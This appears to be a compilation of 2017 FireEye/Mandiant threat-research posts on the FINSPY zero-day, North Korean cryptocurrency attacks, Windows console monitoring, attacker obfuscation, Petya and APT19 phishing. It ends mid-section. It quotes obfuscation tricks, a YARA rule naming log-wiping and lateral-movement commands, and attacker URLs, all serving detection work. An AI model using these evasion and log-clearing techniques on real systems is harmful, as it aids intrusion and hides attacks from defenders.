FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY

FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.

FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here.

FireEye email, endpoint and network products detected the malicious documents.

Vulnerability Used to Target Russian Speakers

The malicious document, “Проект.doc” (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5).

FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a “lawful intercept” capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye’s Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017.

CVE-2017-8759 WSDL Parser Code Injection

A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method (http://referencesource.microsoft.com/ - System.Runtime.Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1.

Figure 1: Vulnerable WSDL Parser

When multiple address definitions are provided in a SOAP response, the code inserts the “//base.ConfigureProxy(this.GetType(),” string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack validation of CRLF, a System.Diagnostics.Process.Start method call is injected. The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL.

Figure 2: SOAP definition VS Generated code

The In-the-Wild Attacks

The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE-2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3).

Figure 3: SOAP Moniker

The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System.Runtime.Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage.  Figure 4 shows an example library loaded as a result of exploitation.

Figure 4: DLL loaded

Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named “word.db” from the same server. The HTA script removes the source code, compiled DLL and the PDB files from disk and then downloads and executes the FINSPY malware named “left.jpg,” which in spite of the .jpg extension and “image/jpeg” content-type, is actually an executable. Figure 5 shows the details of the PCAP of this malware transfer.

Figure 5: Live requests

The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe. Figure 6 shows the process create chain under Process Monitor.

Figure 6: Process Created Chain

The Malware

The “left.jpg” (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0".

Conclusion

CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to “lawful intercept” companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets.

It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors.

Acknowledgement

Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue.

from FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY

Why Is North Korea So Interested in Bitcoin?

In 2016 we began observing actors we believe to be North Korean utilizing their intrusion capabilities to conduct cyber crime, targeting banks and the global financial system. This marked a departure from previously observed activity of North Korean actors employing cyber espionage for traditional nation state activities. Yet, given North Korea's position as a pariah nation cut off from much of the global economy – as well as a nation that employs a government bureau to conduct illicit economic activity – this is not all that surprising. With North Korea's tight control of it's military and intelligence capabilities It is likely that this activity was carried out to fund the state or personal coffers of Pyongyang's elite, as international sanctions have constricted the Hermit Kingdom.

Now, we may be witnessing a second wave of this campaign: state-sponsored actors seeking to steal bitcoin and other virtual currencies as a means of evading sanctions and obtaining hard currencies to fund the regime. Since May 2017, we have observed North Korean actors target at least three South Korean cryptocurrency exchanges with the suspected intent of stealing funds. The spearphishing we have observed in these cases often targets personal email accounts of employees at digital currency exchanges, frequently using tax-themed lures and deploying malware (PEACHPIT and similar variants) linked to North Korean actors suspected to be responsible for intrusions into global banks in 2016.

Add to that the ties between North Korean operators and a watering hole compromise of a bitcoin news site in 2016, as well as at least one instance of usage of a surreptitious cryptocurrency miner, and we begin to see a picture of North Korean interest in cryptocurrencies, an asset class in which bitcoin alone has increased over 400% since the beginning of this year.

2017 North Korean Activity Against South Korean Cryptocurrency Targets

• April 22 – Four wallets on Yapizon, a South Korean cryptocurrency exchange, are compromised. (It is worth noting that at least some of the tactics, techniques, and procedures were reportedly employed during this compromise were different than those we have observed in following intrusion attempts and as of yet there are no clear indications of North Korean involvement).
• April 26 – The United States announces a strategy of increased economic sanctions against North Korea. Sanctions from the international community could be driving North Korean interest in cryptocurrency, as discussed earlier.
• Early May – Spearphishing against South Korean Exchange #1 begins.
• Late May – South Korean Exchange #2 compromised via spearphish.
• Early June – More suspected North Korean activity targeting unknown victims, believed to be cryptocurrency service providers in South Korea.
• Early July – South Korean Exchange #3 targeted via spear phishing to personal account.

Benefits to Targeting Cryptocurrencies

While bitcoin and cryptocurrency exchanges may seem like odd targets for nation state actors interested in funding state coffers, some of the other illicit endeavors North Korea pursues further demonstrate interest in conducting financial crime on the regime’s behalf. North Korea's Office 39 is involved in activities such as gold smuggling, counterfeiting foreign currency, and even operating restaurants. Besides a focus on the global banking system and cryptocurrency exchanges, a recent report by a South Korean institute noted involvement by North Korean actors in targeting ATMs with malware, likely actors at the very least supporting similar ends.

If actors compromise an exchange itself (as opposed to an individual account or wallet) they potentially can move cryptocurrencies out of online wallets, swapping them for other, more anonymous cryptocurrencies or send them directly to other wallets on different exchanges to withdraw them in fiat currencies such as South Korean won, US dollars, or Chinese renminbi. As the regulatory environment around cryptocurrencies is still emerging, some exchanges in different jurisdictions may have lax anti-money laundering controls easing this process and make the exchanges an attractive tactic for anyone seeking hard currency.

Conclusion

As bitcoin and other cryptocurrencies have increased in value in the last year, nation states are beginning to take notice. Recently, an advisor to President Putin in Russia announced plans to raise funds to increase Russia's share of bitcoin mining, and senators in Australia's parliament have proposed developing their own national cryptocurrency.

Consequently, it should be no surprise that cryptocurrencies, as an emerging asset class, are becoming a target of interest by a regime that operates in many ways like a criminal enterprise. While at present North Korea is somewhat distinctive in both their willingness to engage in financial crime and their possession of cyber espionage capabilities, the uniqueness of this combination will likely not last long-term as rising cyber powers may see similar potential. Cyber criminals may no longer be the only nefarious actors in this space.

from Why Is North Korea So Interested in Bitcoin?

Monitoring Windows Console Activity (Part 1)

Introduction

While performing incident response, Mandiant encounters attackers actively using systems on a compromised network. This activity often includes using interactive console programs via RDP such as the command prompt, PowerShell, and sometimes custom command and control (C2) console tools. Mandiant’s Innovation and Custom Engineering (ICE) team researched how feasible it would be to capture this attacker activity on an endpoint.

Depending on the target Windows version, capturing this data on a live system can be difficult. The varying level of difficulty is directly related to the evolving Windows implementation of virtual consoles over the last decade.

This blog will discuss the implementation of the Windows console architecture from years past, with a primary focus on the current implementation present on modern versions of Windows.

A Review of Console Applications

The Windows PE loader determines if a file is a console application when the "Subsystem" field in the PE optional header is set to IMAGE_SUBSYSTEM_WINDOWS_CUI. If this flag is set, the loader allocates a console server for the process. The details of how the console server is implemented depends on the Windows version and has undergone three major revisions since Windows XP. Regardless of the implementation, when a client (e.g. cmd.exe, powershell.exe, etc.) is executed, by default, a console server connection is established typically via the AllocConsole Win32 API. The server process is what the user typically interacts with when typing commands that are then transferred to the client process through an Interprocess communication (IPC) mechanism. A single console server can host one or more clients simultaneously.

Evolution of the Windows Console

On Windows XP through Windows Vista, the Client/Server Runtime Subsystem process (CSRSS) was responsible for capturing user input and sending it to client processes. The clients and CSRSS communicated using a Local Procedure Call (LPC) Port to send captured input.  Figure 1 illustrates the client-server console architecture implemented in Windows XP and Vista.

Figure 1: Windows XP/Vista console architecture

This model suffered from privilege escalation vulnerabilities since the client ran as the current user, but the CSRSS server process ran as the Local System account. An attacker could exploit the exposed attack surface of CSRSS by connecting as an unprivileged user and triggering a vulnerable code path in CSRSS, giving them SYSTEM level access.

This architecture problem was addressed with the release of Windows 7 and Windows Server 2008 R2. Instead of CSRSS being the only console server on the system, a new console host (conhost.exe) process was introduced that hosted the console input thread. This process now ran in the same context as the client, removing this attack scenario. Figure 2 illustrates the updated Windows 7 console architecture.

Figure 2: Windows 7/Server 2008 R2 console architecture

When a console in Windows 7 is allocated, CSRSS executes a new instance of the conhost.exe process. An Advanced Local Procedure Call (ALPC) port is created with the following naming convention: \RPC Control\ConsoleLPC-<conhost_pid>-<random_number>. This port is used along with a shared section object mapped into the client and server processes so command line data can be easily shared. In addition, an event object is created with the naming scheme \RPC Control\ConsoleEvent-<conhost_pid>-<random_number>. This event object is used so the client and server can notify each other when new data is present. A single conhost.exe process can service multiple client applications, as shown in the Windbg output in Figure 3.

Figure 3: Windbg output for analyzing ALPC ports between a conhost process and multiple console applications on Windows 7

The release of Windows 8 introduced the current console implementation at the time of this writing. This new architecture differs significantly from the previous ones in that there is now a dedicated kernel driver to handle console I/O between client and server processes. This new driver is named ConDrv.sys and brokers all console communication on the system. This is exposed to user mode applications by the driver with a device object named \Device\ConDrv. This device object is opened from user mode using a list of supported namespace parameters – Connect, Server, Input, Output, Reference, CurrentIn, and CurrentOut – that are opened depending on the needs of the application. Client applications will often have multiple open handles to the console driver depending on the functionality needed by the driver. This is shown in Figure 4.

Figure 4: Command line application with multiple ConDrv handles open

When a console is allocated by a command line process, kernelbase.dll will open a handle to \Device\ConDrv and request that a new conhost.exe process be created. ConDrv will execute this process from kernel mode and a memory descriptor list (MDL) chain is allocated. This MDL chain is used to map memory pages between the Conhost process and its clients so that data can be easily shared between them. Instead of the LPC/ALPC ports used in the previous versions, messages are now typically transferred using Fast I/O to the console driver. Fast I/O allows an application to communicate with a driver without the overhead of creating an I/O request packet (IRP) for each request. IRPs are an operating system structure that are used to deliver I/O data to device drivers. These fast I/O requests are used to read and write to the console and are brokered by the ConDrv driver.

In Windows 10, conhost.exe is mostly a container process. The main input thread along with all the server functionality executes in either ConhostV2.dll or ConhostV1.dll. By default ConhostV2.dll is loaded and provides new console functionality to Windows 10 users (such as full screen console windows). ConhostV1.dll implements “legacy mode” that can be enabled that will make consoles behave as they did in Windows 7 and earlier. Regardless of the version being used, ConDrv.sys is used to transfer messages between console clients and servers. Figure 5 illustrates how all this fits together.

Figure 5: Console driver based architecture used in Windows 10

Check out the follow-up post, "Monitoring Windows Console Activity Part 2," for more.

from Monitoring Windows Console Activity (Part 1)

Monitoring Windows Console Activity (Part 2)

This is the second of two blogs that discuss the implementation of the Windows console architecture from years past, with a primary focus on the current implementation present on modern versions of Windows. Read our first blog, "Monitoring Windows Console Activity Part 1," for more.

Capturing the Data

Before we examine how to capture console data, an understanding of how this differs from capturing process arguments may be useful. After all, can't we just examine the Process Environment Block (PEB) for each process and gather the command line arguments? This would show us the command arguments that an attacker used when executing tasks on a compromised machine. However, if an attacker is using any command line tools that are interactive at runtime, this data structure can't show us what commands the attacker issued to the tool.

For example, Figure 1 shows the command line used to execute an instance of the popular credential dumping tool, mimikatz. An attacker could use any of the several features of this tool, including credential stealing or hash dumping. Additionally, knowing what user accounts the attacker compromised is difficult because we can't see the output of mimikatz at the time it was executed. Later we will look at the value of gathering this data from the console and how this level of context is useful.

Figure 1: Process explorer showing the command line used to execute an instance of mimikatz

Now that we understand how all this works, how can we intercept the data? Doing so on Windows 7 and earlier seems pretty difficult. It seems possible (albeit a little impractical) that we could capture the data by synchronizing with the ConsoleEvent object we mentioned earlier, and then read data out of the section object containing the data. Another way could be sending the necessary ALPC messages to access the command data, and in fact there is an exported API in kernel32.dll that does exactly that. GetConsoleCommandHistory will retrieve commands from the current console session. The downside here is that you have to be executing in the context of a client process to use this API. This would require process injection or some other illicit means. Neither of these methods are particularly elegant.

The console driver used in Windows 8 and later simplifies this quite a bit. Because the driver exposes a device object, we should be able to attach and filter on it. But then what? We need to understand how the feature is implemented in more detail and how the data is formatted.

Looking at the driver entry point, we see some pretty standard driver initialization. What is interesting, however, is the initialization of the Fast I/O Device Control dispatch function. This function will be called by the kernel before the standard IRP-based IRP_MJ_DEVICE_CONTROL dispatch function. The fast version can then choose to mark the operation as complete, or pass it back and have an IRP generated. Figure 2 shows the interesting entry points for ConDrv.

Figure 2: Entry points for the Windows Console Driver (ConDrv)

Some quick poking around in the user code reveals that just about all data we are interested in is transferred by NtDeviceIoControlFile to ConDrv. Data is also transferred to the ConDrv device handles using NtReadFile and NtWriteFile, however, these same data buffers are also sent using NtDeviceIoControlFile when Conhost is sending or requesting new data.  Therefore, filtering on the FastIoDeviceControl routine should give up the I/O data we are looking for (Figure 3).

Figure 3: Function prototype for the FastIoDeviceControl dispatch function

Analysis of this function reveals a switch statement for handling passed in IOCTL codes containing the bulk of the functionality exposed to user mode. Figure 4 shows the code that handles the IOCTL codes related to reading and writing data to the console.

Figure 4: IOCTL handler code in ConDrv

There are quite a few IOCTL codes supported by ConDrv, but for now we only care about a subset of them, which are listed in Table 1.

IOCTL Code	Function
0x50000B	Complete pending I/O
0x50000F	Data is available to be read from client (e.g. conhost.exe <- cmd.exe)
0x500013	Data is available to be written to client (e.g. conhost.exe -> cmd.exe)
0x500037	Launch a new conhost.exe process

Table 1: Interesting IOCTL handlers supported by ConDrv

The two IOCTL codes responsible for reading and writing data between clients and servers are most interesting (0x50000F and 0x500013). Setting a breakpoint on condrv!CdpFastIoDeviceControl and entering some text into a command prompt causes the debugger to break in the process context of conhost.exe.

Examining the function arguments using the prototype in Figure 3 shows the input buffer, size, and IOCTL code that Conhost supplied when sending the command string to cmd.exe. These arguments are highlighted in yellow, blue, and green respectively and shown in Figure 5. Note: The input buffer is a user mode address mapped into Conhost.

Figure 5: IOCTL Examining the function parameters for condrv!CdpFastIoDeviceControl

Dereferencing the input buffer shows an opaque data structure. Analyzing more of the ConDrv code that processes the input buffer helps understand the format the data is in. This structure’s format is shown in Figure 6. Note: this is an undocumented structure (from what I can tell) and its fields are based on analysis of the ConDrv code.

Figure 6: Message buffer structure inferred from condrv.sys on a Windows 10 system

Each I/O message contains a buffer and buffer size of the command data. On output, this same structure is used to deliver the results of the executed command. Figure 7 shows the capture of a console command in Windbg by applying this structure definition to the data. Here we see a simple directory listing command being entered into a command prompt. These same steps can be used to capture the command output as well.

Figure 7: Displaying command data in Windbg

Now that we understand the format of the I/O data and how it is transferred, we can write a proof of concept filter driver to capture it and send it back to user mode for processing. Since we get this data inline, it should be possible to reconstruct all console sessions on the machine. We will attach to \Device\ConDrv and copy the data from the input buffers on every Conhost process on the system. We will then use a Python script to retrieve the captured I/O data that is sent to it from the kernel driver.

First let's see if we can fully capture the data of a user executing an interactive Python session. Figure 8 shows a user's Python session. The command window on the bottom is a normal user session executing Python code. The window above shows the data that is captured from the ConDrv filter driver. The flow (input vs. output) is identified using the IOCTL codes shown in Table 1. This gives precise context on the commands since the data is sent to the driver inline.

Figure 8: Capturing a Python console session; user session shown below, captured data from condrv.sys shown above.

In the beginning of this post, we mentioned mimikatz and how reading its process arguments doesn’t provide the commands if the attacker interacts with the console directly. Figure 1 demonstrates how all that is revealed by the PEB command line arguments is the path of the mimikatz process. Figure 9 demonstrates the captured console I/O from this same mimikatz session. Now we can identify that an attacker was able to acquire NT LAN Manager (NTLM) hashes from the system. We can even tell exactly when they were stolen and what accounts were compromised. Having a timeline of activity like this is crucial during the incident response process, and acquiring this data through other means (such as process memory dumps) lacks valuable context.

Figure 9: Capturing a mimikatz console session; attacker session shown below, captured data from condrv.sys shown above.

Conclusion

Putting this all together, we can now intercept, modify, or outright deny all console input and output on a Windows 8 and later system. This can be used to capture not only I/O from system utilities, but from any program that uses a console. This can range from interactive interpreters such as Python, Ruby, and Perl to security tools such as mimikatz and Metasploit. As attackers continue to act more brazenly on the systems they compromise, being able to identify this activity remains crucial. 

from Monitoring Windows Console Activity (Part 2)

Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques

Throughout 2017 we have observed a marked increase in the use of command line evasion and obfuscation by a range of targeted attackers. Cyber espionage groups and financial threat actors continue to adopt the latest cutting-edge application whitelisting bypass techniques and introduce innovative obfuscation into their phishing lures. These techniques often bypass static and dynamic analysis methods and highlight why signature-based detection alone will always be at least one step behind creative attackers.

In early 2017, FIN8 began using environment variables paired with PowerShell’s ability to receive commands via StdIn (standard input) to evade detection based on process command line arguments. In the February 2017 phishing document “COMPLAINT Homer Glynn.doc” (MD5: cc89ddac1afe69069eb18bac58c6a9e4), the file contains a macro that sets the PowerShell command in one environment variable (_MICROSOFT_UPDATE_CATALOG) and then the string “powershell -” in another environment variable (MICROSOFT_UPDATE_SERVICE). When a PowerShell command ends in a dash then PowerShell will execute the command that it receives via StdIn, and only this dash will appear in powershell.exe’s command line arguments. Figure 1 provides the commands that were extracted using Mandiant consultant Nick Carr’s FIN8 macro decoder.

Figure 1: FIN8 environment variable commands extracted from “COMPLAINT Homer Glynn.doc” macros

To evade many detections based on parent-child process relationships, FIN8 crafted this macro to use WMI to spawn the cmd.exe execution. Therefore, WinWord.exe never creates a child process, but the process tree looks like: wmiprvse.exe à cmd.exe à powershell.exe. FIN8 has regularly used obfuscation and WMI to remotely launch their PUNCHTRACK POS-scraping malware, and the 2017 activity is an implementation of these evasion techniques at an earlier stage of compromise.

As new application whitelisting bypass techniques have surfaced, targeted attackers have quickly adopted these into their campaigns with extra layers of obfuscation to stay ahead of many defenders. Many groups leverage the regsvr32.exe application whitelisting bypass, including APT19 in their 2017 campaign against law firms. The cyber espionage group APT32 heavily obfuscates their backdoors and scripts, and Mandiant consultants observed APT32 implement additional command argument obfuscation in April 2017. Instead of using the argument /i:http for the regsvr32.exe bypass, APT32 used cmd.exe obfuscation techniques to attempt to break signature-based detection of this argument in April 2017. At FireEye we have seen them include both /i:^h^t^t^p and /i:h”t”t”p in their lures. Figure 2 shows a redacted screenshot of our Host Investigative Platform (HIP) capturing real-time attacker activity during one of our Mandiant incident response engagements for APT32 activity.

Figure 2: APT32 command obfuscation for regsvr32.exe application whitelisting bypass

Meanwhile, FIN7 has continued to wreak havoc on the restaurant, hospitality, and financial services sectors in 2017. To ensure their arsenal did not grow stale, in April 2017 FIN7 shifted to using wscript.exe to run JavaScript payloads that retrieve an additional payload hidden in the phishing document by use of the Word.Application COM object.

This week, FireEye identified FIN7 introducing additional obfuscation techniques at both the JavaScript and cmd.exe levels. These methods rely on FIN7’s preferred method of hiding shortcut files (LNK files) in their DOCX and RTF phishing documents to initiate the infection. At the time of this blog, the files implementing this technique were detected by 0 antivirus engines. For JavaScript, instead of specifying “Word.Application” for the COM object instantiation, FIN7 began concatenating the string to “Wor”+”d.Application”. In addition, JavaScript’s suspicious “eval” string was transformed into “this[String.fromCharCode(101)+’va’+’l’]”. Finally, they used a little-known character replacement functionality supported by cmd.exe. The wscript.exe command is set in a process-level environment variable “x”, but is obfuscated with the “@” character. When the “x” variable is echoed at the end of the script the “@” character is removed by the syntax “%x:@=%”. Figure 3 shows this command extracted from a LNK file embedded within a new FIN7 phishing document.

Figure 3: FIN7 command obfuscation from LNK file phishing document

In this example, FIN7 implements FIN8’s passing of commands via StdIn – this time passing it to cmd.exe instead of powershell.exe – but the evasion effect is the same. While this example will expose these arguments in the first cmd.exe’s command execution, if this environment variable were set within the LNK or a macro and pushed to cmd.exe via StdIn from VBA, then nothing would appear on the command line.

The FireEye iSIGHT Intelligence MySIGHT Portal contains detailed information on these attackers – and all financial and cyber espionage groups that we track – including analysis of their malware, tactics, and further intelligence attribution.

We fully expect targeted attackers to continue this pattern of adopting new bypass techniques and adding innovative obfuscation at both the macro and command line levels. As for what we might see next, we’d recommend reading up on DOS command line tricks so that monitoring your network isn’t the first time you see new attacker tricks. Network defenders must understand what obfuscation is possible, assess their endpoint and network visibility, and most importantly not rely on a single method to detect these attacks.

from Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques

Petya Ransomware Spreading Via EternalBlue Exploit

On June 27, 2017, multiple organizations – many in Europe – reported significant disruptions they are attributing to Petya ransomware. Based on initial information, this variant of the Petya ransomware may be spreading via the EternalBlue exploit used in the WannaCry attack from last month.

Trusted sources and open-source reporting have suggested that the initial infection vector for this campaign was a poisoned update for the MeDoc software suite, a software package used by many Ukrainian organizations. The timing of a MeDoc software update, which occurred on June 27, is consistent with initial reporting of the ransomware attack, and the timing correlates to lateral movement via PSExec we observed in victim networks starting around 10:12 UTC. Additionally, the MeDoc website currently displays a warning message in Russian stating: "On our servers is occurring a virus attack. Our apologies for the temporary inconvenience!"

Our initial analysis of the artifacts and network traffic at victim networks indicate that a modified version of the EternalBlue SMB exploit was used, at least in part, to spread laterally along with WMI commands, MimiKatz, and PSExec to propagate other systems. Analysis of the artifacts associated with this campaign is still ongoing and we will update this blog as new information come available. 

FireEye has confirmed the following two samples related to this attack:

• 71b6a493388e7d0b40c83ce903bc6b04
• e285b6ce047015943e685e6638bd837e

FireEye has mobilized a Community Protection Event and is continuing to investigate these reports and the threat activity involved in these disruptive incidents. FireEye as a Service (FaaS) is actively engaged in monitoring customer environments.

While FireEye detection leverages behavioral analysis of malicious techniques, our team has created a YARA rule to assist organizations in retroactively searching their environments for this malware, as well as detecting future activity. Our team has focused on the malicious attacker techniques that are core to the operation of the malware: SMB drive usage, ransom demand language, the underlying functions and APIs, and the system utilities used for lateral movement. The thresholds can be modified in the condition section that follows.

rule FE_CPE_MS17_010_RANSOMWARE { meta:version="1.1"       //filetype="PE"       author="Ian.Ahl@fireeye.com @TekDefense, Nicholas.Carr@mandiant.com @ItsReallyNick"       date="2017-06-27"       description="Probable PETYA ransomware using ETERNALBLUE, WMIC, PsExec" strings:       // DRIVE USAGE       $dmap01 = "\\\\.\\PhysicalDrive" nocase ascii wide       $dmap02 = "\\\\.\\PhysicalDrive0" nocase ascii wide       $dmap03 = "\\\\.\\C:" nocase ascii wide       $dmap04 = "TERMSRV" nocase ascii wide       $dmap05 = "\\admin$" nocase ascii wide       $dmap06 = "GetLogicalDrives" nocase ascii wide       $dmap07 = "GetDriveTypeW" nocase ascii wide       // RANSOMNOTE       $msg01 = "WARNING: DO NOT TURN OFF YOUR PC!" nocase ascii wide       $msg02 = "IF YOU ABORT THIS PROCESS" nocase ascii wide       $msg03 = "DESTROY ALL OF YOUR DATA!" nocase ascii wide       $msg04 = "PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED" nocase ascii wide       $msg05 = "your important files are encrypted" ascii wide       $msg06 = "Your personal installation key" nocase ascii wide       $msg07 = "worth of Bitcoin to following address" nocase ascii wide       $msg08 = "CHKDSK is repairing sector" nocase ascii wide       $msg09 = "Repairing file system on " nocase ascii wide       $msg10 = "Bitcoin wallet ID" nocase ascii wide       $msg11 = "wowsmith123456@posteo.net" nocase ascii wide       $msg12 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" nocase ascii wide       $msg_pcre = /(en|de)crypt(ion|ed\.)/            // FUNCTIONALITY, APIS       $functions01 = "need dictionary" nocase ascii wide       $functions02 = "comspec" nocase ascii wide       $functions03 = "OpenProcessToken" nocase ascii wide       $functions04 = "CloseHandle" nocase ascii wide       $functions05 = "EnterCriticalSection" nocase ascii wide       $functions06 = "ExitProcess" nocase ascii wide       $functions07 = "GetCurrentProcess" nocase ascii wide       $functions08 = "GetProcAddress" nocase ascii wide       $functions09 = "LeaveCriticalSection" nocase ascii wide       $functions10 = "MultiByteToWideChar" nocase ascii wide       $functions11 = "WideCharToMultiByte" nocase ascii wide       $functions12 = "WriteFile" nocase ascii wide       $functions13 = "CoTaskMemFree" nocase ascii wide       $functions14 = "NamedPipe" nocase ascii wide       $functions15 = "Sleep" nocase ascii wide // imported, not in strings            // COMMANDS       //  -- Clearing event logs & USNJrnl       $cmd01 = "wevtutil cl Setup" ascii wide nocase       $cmd02 = "wevtutil cl System" ascii wide nocase       $cmd03 = "wevtutil cl Security" ascii wide nocase       $cmd04 = "wevtutil cl Application" ascii wide nocase       $cmd05 = "fsutil usn deletejournal" ascii wide nocase       // -- Scheduled task       $cmd06 = "schtasks " nocase ascii wide       $cmd07 = "/Create /SC " nocase ascii wide       $cmd08 = " /TN " nocase ascii wide       $cmd09 = "at %02d:%02d %ws" nocase ascii wide       $cmd10 = "shutdown.exe /r /f" nocase ascii wide       // -- Sysinternals/PsExec and WMIC       $cmd11 = "-accepteula -s" nocase ascii wide       $cmd12 = "wmic"       $cmd13 = "/node:" nocase ascii wide       $cmd14 = "process call create" nocase ascii wide condition:       // (uint16(0) == 0x5A4D)       3 of ($dmap*)       and 2 of ($msg*)       and 9 of ($functions*)       and 7 of ($cmd*) }

FireEye has read reports that the malware is spread by an email lure containing a malicious Office document attachment or links to infected documents exploiting CVE-2017-0199. We are confident that this document is unrelated to the current outbreak of activity, and we have seen no other indicators that CVE-2017-0199 is related. While FireEye detects these campaigns, we have not observed any correlation with known victims of the Petya attacks.

Implications

This activity highlights the importance of organizations securing their systems against the EternalBlue exploit and ransomware infections. Microsoft has provided a guide for securing Windows systems against the EternalBlue exploit in the context of the WannaCry ransomware. A robust back-up strategy, network segmentation and air gapping where appropriate, and other defenses against ransomware can help organizations defend against ransomware distribution operations and quickly remediate infections.

from Petya Ransomware Spreading Via EternalBlue Exploit

Privileges and Credentials: Phished at the Request of Counsel

Summary

In May and June 2017, FireEye observed a phishing campaign targeting at least seven global law and investment firms. We have associated this campaign with APT19, a group that we assess is composed of freelancers, with some degree of sponsorship by the Chinese government.

APT19 used three different techniques to attempt to compromise targets. In early May, the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents. At least one observed phishing lure delivered a Cobalt Strike payload.

As of the writing of this blog post, FireEye had not observed post-exploitation activity by the threat actors, so we cannot assess the goal of the campaign. We have previously observed APT19 steal data from law and investment firms for competitive economic purposes.

This purpose of this blog post is to inform law firms and investment firms of this phishing campaign and provide technical indicators that their IT personnel can use for proactive hunting and detection.

The Emails

APT19 phishing emails from this campaign originated from sender email accounts from the "@cloudsend[.]net" domain and used a variety of subjects and attachment names. Refer to the Indicators of Compromise section for more details.

The Attachments

APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits. The following sections describe the two methods in further detail.

RTF Attachments

Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099, the observed RTF attachments download hxxp://tk-in-f156.2bunny[.]com/Agreement.doc. Unfortunately, this file was no longer hosted at tk-in-f156.2bunny[.]com for further analysis. Figure 1 is a screenshot of a packet capture showing one of the RTF files reaching out to hxxp://tk-in-f156.2bunny[.]com/Agreement.doc.

Figure 1: RTF PCAP

XLSM Attachments

The XLSM attachments contained multiple worksheets with content that reflected the attachment name. The attachments also contained an image that requested the user to “Enable Content”, which would enable macro support if it was disabled. Figure 2 provides a screenshot of one of the XLSM files (MD5:30f149479c02b741e897cdb9ecd22da7).

Figure 2: Enable macros

One of the malicious XLSM attachments that we observed contained a macro that:

1. Determined the system architecture to select the correct path for PowerShell
2. Launched a ZLIB compressed and Base64 encoded command with PowerShell. This is a typical technique used by Meterpreter stagers.

Figure 3 depicts the macro embedded within the XLSM file (MD5: 38125a991efc6ab02f7134db0ebe21b6).

Figure 3: XLSX Macro

Figure 4 contains the decoded output of the encoded text.

Figure 4: Decoded ZLIB + Base64 payload

The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[.]com. The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers.

Figure 5: GET Request with minimal HTTP headers

Converting the shellcode to ASCII and removing the non-printable characters provides a quick way to pull out network-based indicators (NBI) from the shellcode. Figure 6 shows the extracted NBIs.

Figure 6: Decoded shellcode

FireEye also identified an alternate macro in some of the XLSM documents, displayed in Figure 7.

Figure 7: Alternate macro

This macro uses Casey Smith’s “Squiblydoo” Application Whitelisting bypass technique to run the command in Figure 8.

Figure 8: Application Whitelisting Bypass

The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9.

Figure 9: SCT contents

Figure 10 provides the decoded script. Notice the “$DoIt” string, which is usually indicative of a Cobalt Strike payload.

Figure 10: Decoded SCT contents

A quick conversion of the contents of the variable “$var_code” from Base64 to ASCII shows some familiar network indicators, shown in Figure 11.

Figure 11: $var_code to ASCII

Second Stage Payload

